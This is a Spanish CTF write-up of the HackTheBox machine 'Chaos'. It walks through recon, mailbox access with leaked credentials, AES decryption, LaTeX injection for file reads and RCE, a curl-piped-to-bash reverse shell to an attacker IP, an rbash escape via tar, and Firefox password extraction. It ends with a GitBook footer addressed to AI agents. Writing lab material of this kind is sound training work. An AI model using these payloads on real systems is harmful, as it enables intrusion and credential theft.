> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/chaos-hackthebox-writeup.md). # Informe de HackTheBox de Chaos Informe de HackTheBox de Chaos para una máquina Linux de dificultad media que cubre adivinación de contraseñas, abuso del servicio de correo electrónico (claws-mail), reto de criptografía (descifrar mensaje secreto - cifrado AES), inyección LaTeX (RCE), con pr {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Adivinación de contraseñas * Abuso del servicio de correo electrónico (claws-mail) * Desafío de criptografía (Descifrar mensaje secreto - cifrado con AES) * Inyección de LaTeX (RCE) * Evitando rbash (Bash restringida) * Extrayendo credenciales del perfil de Firefox {% endhint %} ## Reconocimiento **Configuración del espacio de trabajo:** Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

**Comprobación de conectividad VPN** Comprueba la conectividad VPN para garantizar una comunicación estable con la máquina objetivo.

**Descubrimiento de puertos abiertos con Nmap:** ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 -vvvv 10.10.10.120 -oG allPorts ```

**Análisis de puertos abiertos con ExtractPorts (**80.110,143.993.995,10000) Usa la función extractPorts para mostrar los puertos abiertos en un formato conciso y copiarlos al portapapeles.

**Escaneo de versiones de puertos con Nmap:** Usa Nmap para escanear las versiones de los servicios y guarda la salida en el archivo "targeted": ```bash nmap -sCV -p80,110,143,993,995,10000 10.10.10.120 -oN targeted ```

## **Explotación** #### **Puerto 80 - Enumeración web** El acceso directo por IP está bloqueado. Por lo tanto, añadimos el `chaos.htb` dominio en `/etc/hosts`.

#### **Fuzzing de directorios** ```bash gobuster dir -u http://chaos.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r ``` Sin resultados.

**Fuzzing a través de la dirección IP :** ```bash gobuster dir -u http://10.10.10.120 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r ``` Encontramos una carpeta `/wp` indicando WordPress.

Añade el `wordpress.chaos.htb` subdominio a `/etc/hosts`.

### **Enumeración de WordPress**

Encontramos un `Human` usuario en WordPress.

### **Adivinación de contraseñas** Un artículo de WordPress contiene una contraseña. Probamos `Human` y funciona.

Encontramos credenciales para un correo web: * **nombre de usuario**: ayush * **contraseña**: jiujitsu ## **Puerto 993/995 - Correo web** El puerto 993 indica un servidor de correo IMAP.

Usamos `claws-mail` para acceder al buzón de Ayush. ```bash claws-mail ```

En un correo encontramos dos archivos adjuntos y el mensaje: > Hola, Sahay > > Revisa el archivo enmsg.txt. Eres la contraseña de XD. También adjunté el script que usé para cifrar. Gracias.

## **Descifrar mensaje secreto - cifrado con AES**

Hemos identificado un `decrypt.py` script en GitHub, que pertenece al mismo proyecto

{% embed url="" %} #### Al ejecutarlo: ```bash python3 decrypt.py Introduzca el nombre del archivo: ./enim_msg.txt Introduzca la contraseña: sahay ``` El contenido se decodifica con `base64`:

```bash cat im_msg.txt | base64 -d; echo ``` El mensaje revela un servicio de LaTeX en `http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3` > **Hola Sahay,** > > Por favor, descubre nuestro nuevo servicio que crea PDFs. > > P.D. – Como me aconsejaste, cifré el mensaje importante. > > [http://chaos.htb/J00/\_w1ll/\_f1Nd/\_n07H1n9/\_H3r3](http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3) > > **Controles de bloqueo** > > Gracias, **Ayush** > > Gracias, Ayush

## **Vulnerabilidad de inyección de LaTeX** ### Inyección LaTeX (lector de archivos)

Interceptamos la solicitud

#### Documento PDF LaTeX:

Inyectamos: ```latex /input{/etc/passwd} /include{password} ```

### **Explotación de RCE en LaTeX** Ejecutamos un `id` comando mediante: ```latex /immediate/write18{id > output} /newread/file /openin/file=output /read/file a/línea /text{/línea} /closein/file ```

#### **Shell inversa** Escuchamos en el puerto 443: ```bash nc -nvlp 443 ``` Creamos un `index.html` script de bash: ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.61/443 0>&1 ``` Iniciamos un servidor web: ```bash python3 -m http.server 80 ``` Inyección del payload: ```latex /immediate/write18{curl http://10.10.14.61 | bash > output} /newread/file /openin/file=output /read/file a/línea /text{/línea} /closein/file ```

## **Escalada de privilegios** ### **Pivotando al usuario Ayush - Evadir rbash** Nos conectamos como Ayush, pero estamos limitados a un `rbash` shell.

Lista de comandos disponibles: ```bash compgen -c ``` Encontramos `tar` y eludimos `rbash` con:

{% embed url="" %} ```bash tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec/bin/bash export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin ```

### Bandera user.txt :) Obtenemos acceso a una shell completa y recuperamos `user.txt`.

## **Extracción de credenciales de Firefox** En el `.mozilla` En la carpeta de Ayush encontramos `key4.db` y `logins.json`.

Los transferimos a nuestra máquina:

```bash python3 -m http.server 8080 wget -r chaos.htb:8080 ```

Descifrando IDs con `firefox_decrypt.py`: {% embed url="" %} ```bash python3 firefox_decrypt.py chaos.htb:8080 ``` Introducimos `jiujitsu` como contraseña principal y recuperamos:

> Contraseña principal para el perfil chaos.htb:8080/bzo7sjt1.default > > Sitio web: > > Usuario: 'root' Contraseña: 'Thiv8wrej/\~ Conexión root:

### Bandera root.txt

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/chaos-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.